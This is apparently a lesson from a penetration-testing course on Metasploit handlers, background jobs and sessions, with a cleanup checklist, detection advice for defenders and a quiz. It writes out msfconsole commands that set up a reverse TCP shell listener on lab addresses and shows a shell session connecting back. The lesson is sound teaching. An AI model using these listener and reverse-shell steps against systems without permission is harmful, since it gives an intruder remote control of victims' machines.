Skip to content
Tutorials Center
My learning

Topics

Lesson 16 of 37 ยท Exploits and Payloads

Handlers, Jobs and Sessions: Managing Connections

Learn how Metasploit receives payload connections: the multi/handler listener, background jobs, the sessions command, session types, and how defenders find and close them.

A payload that calls back needs something listening. In Metasploit that is the handler. When a connection arrives, the framework turns it into a session: a numbered, managed channel to the lab target. This lesson explains handlers, background jobs and the sessions command, with example output and stand-ins that model the bookkeeping. Nothing here connects to a real system.

Use this only in your isolated lab, with machines you own, as set up in the lab lesson.

The generic handler

Exploit modules start their own handler automatically. When a payload is delivered another way (for example a test file you run on a lab machine), you start a handler yourself with the multi/handler module:

TEXT
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.10.5:4444

The payload settings must match the payload that is running on the target (same payload, LHOST, LPORT); otherwise the connection arrives and nothing understands it. ExitOnSession false keeps the handler alive after the first session so several lab machines can connect.

Jobs

run -j (or exploit -j) runs a module as a job, a background task, so the console stays free.

Command Purpose
jobs List running jobs
jobs -k 0 Kill job 0
jobs -K Kill all jobs
jobs -i 0 Show details about a job

Always stop listeners you no longer need: a forgotten handler is an open port on your attacker machine.

Sessions

When a payload connects, the console announces a session:

TEXT
[*] Sending stage (example) to 10.10.10.20
[*] Command shell session 1 opened (10.10.10.5:4444 -> 10.10.10.20:51234)
msf6 > sessions -l

Active sessions
===============
  Id  Name  Type            Information           Connection
  --  ----  ----            -----------           ----------
  1         shell linux     lab-user @ lab-target 10.10.10.5:4444 -> 10.10.10.20:51234

(Example output.) Key commands:

Command Purpose
sessions -l List sessions
sessions -i 1 Interact with session 1
sessions -k 1 Kill session 1
sessions -K Kill all sessions
sessions -u 1 Try to upgrade a basic shell to a Meterpreter session
background Return from a session to the console, keeping it alive

Session types include a plain command shell and the richer Meterpreter agent (chapter 5). A shell gives text commands; Meterpreter adds file transfer, process tools, pivoting and more.

stateDiagram-v2
    [*] --> Listening: handler job started
    Listening --> Connected: payload calls back
    Connected --> Interacting: sessions -i
    Interacting --> Backgrounded: background
    Backgrounded --> Interacting: sessions -i
    Connected --> Closed: sessions -k or target ends it
    Backgrounded --> Closed
    Closed --> [*]

A session lives until you or the target closes it. A forgotten session is a forgotten foothold.

Modelling sessions

The stand-in below keeps a table of sessions with the same operations (open, list, kill), so you can see how ids are assigned and why listing them often is part of good hygiene.

Python A tiny session manager

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with input()), it gets the next line from this box.

Session ids never repeat within a console run; the counter only goes up.

End-of-test cleanup checklist

At the end of every engagement (and every lab exercise):

  1. sessions -K closes all sessions.
  2. jobs -K stops all handlers and background modules.
  3. Remove any files or accounts you created on the target (the notes you kept tell you what).
  4. Save the console log (spool) and export the workspace as required.
  5. Restore lab snapshots.

The next stand-in turns that list into a script-like check, which reports leftovers.

Python Cleanup checklist

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with input()), it gets the next line from this box.

Defender view

  • Listening ports on attacker machines and unexpected outbound connections from internal hosts to them are the main network signs. Default port 4444 is a classic alert rule.
  • Long-lived connections with regular beacon timing are suspicious even when encrypted.
  • Host logs record new processes and network connections made by services and user sessions.
  • Response: isolate the host, kill the connection, preserve memory and logs, then find how access was gained and fix that.

Incident responders deliberately practise this against test sessions: opening one in the lab and finding it in logs is a great detection exercise.

Check your understanding

Quick check ยท 4 questions

of 4 answered You scored / 4 ยท perfect!

  1. 1. Which module do you use to start a listener for a payload delivered outside an exploit?

    multi/handler listens for payload connections.
  2. 2. What does run -j do?

    -j runs the module in the background so the console stays free.
  3. 3. How do you return from an interactive session to the console without closing it?

    background keeps the session alive; exit or kill closes it.
  4. 4. Why must handler payload settings match the payload on the target?

    The handler must speak the same payload protocol and use the same address and port.

Summary

  • multi/handler listens; run -j makes it a background job.
  • Connections become numbered sessions managed with sessions.
  • Always close sessions and jobs and clean up after a test.
  • Defenders watch for unexpected listeners, outbound beacons and odd processes.

Next: Vulnerability Research and Matching